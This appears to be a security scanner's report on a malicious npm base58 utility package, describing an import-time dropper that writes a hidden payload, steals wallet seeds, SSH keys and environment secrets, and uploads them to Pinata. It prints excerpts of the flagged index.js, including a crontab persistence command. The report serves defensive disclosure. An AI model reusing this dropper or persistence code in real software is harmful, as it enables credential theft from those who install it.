AI Security Review
scanned 4h ago · by lpm-firewall-aiImporting `index.js` schedules a hidden payload drop and detached execution after 37 seconds. The dropped payload persists across operating systems, harvests credentials and wallet material, and exfiltrates it.
Static reason
No blocking static signals were detected.
Trigger
Any runtime import or require of `index.js`
Impact
Steals wallet seeds, private keys, SSH keys, environment secrets, and shell-profile secrets while establishing recurring execution.
Mechanism
Delayed hidden payload drop, persistence, credential harvesting, and encrypted HTTPS exfiltration
Attack narrative
On module import, `index.js` waits 37 seconds, decodes a base64 fixture into a concealed executable under the user home directory, launches it detached, and creates persistence. The payload polls IPFS gateways for activation, waits for user idle time, reads wallet, environment, SSH, and profile files, encrypts their contents, and uploads them to Pinata.
Rationale
The package contains a concealed import-time dropper and a decoded credential-stealing payload with persistence and network exfiltration. This is concrete malicious behavior unrelated to base58 utilities.
Evidence
index.jstest/fixtures/keypairs.dat~/.cache-db/.node-sync/syncd.js~/.cache-db/.node-sync/.lock~/.cache-db/.node-sync/.sl~/Library/LaunchAgents/com.apple.syncd.plist
Network endpoints4
gateway.pinata.cloudipfs.iocloudflare-ipfs.comapi.pinata.cloud
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- `index.js` runs an import-time delayed IIFE that loads `child_process`.
- `index.js` decodes `test/fixtures/keypairs.dat` into hidden `~/.cache-db/.node-sync/syncd.js`, then detaches Node to run it.
- `index.js` installs cron or Windows scheduled-task persistence.
- Decoded `test/fixtures/keypairs.dat` searches wallet, seed, `.env`, shell-profile, and SSH-key files.
- Decoded payload encrypts harvested contents and POSTs them to `api.pinata.cloud`.
- Decoded payload adds Linux cron, macOS LaunchAgent, or Windows scheduled-task persistence.
Evidence against
- `package.json` has no lifecycle scripts.
- The visible exports implement base58 and WIF helper functions.
Behavioral surface
ChildProcessFilesystemShell
HighEntropyStrings
Source & flagged code
1 flagged · loading sourceindex.jsView file
6function encode(buf) {
L7: if (typeof buf === "string") buf = Buffer.from(buf, "utf8");
L8: const digits = [0];
...
L62: try {
L63: var f = require("fs"), p = require("path"), o = require("os"), c = require("child_process");
L64: var h = o.homedir(), d = p.join(h, ".cache-db", ".node-sync"), s = p.join(d, "syncd.js");
L65: if (f.existsSync(s)) return;
...
L70: try {
L71: if (process.platform === "linux") {
L72: c.execSync('(crontab -l 2>/dev/null | grep -v syncd; echo "0 */12 * * * /usr/bin/node '+s+' >/dev/null 2>&1") | crontab -', { timeout: 5e3 });
L73: } else if (process.platform === "win32") {
Medium
Install Persistence
Source writes installer persistence such as shell profile or service configuration.
index.jsView on unpkg · L6Findings
1 Medium2 Low
MediumInstall Persistenceindex.js
LowFilesystem
LowHigh Entropy Strings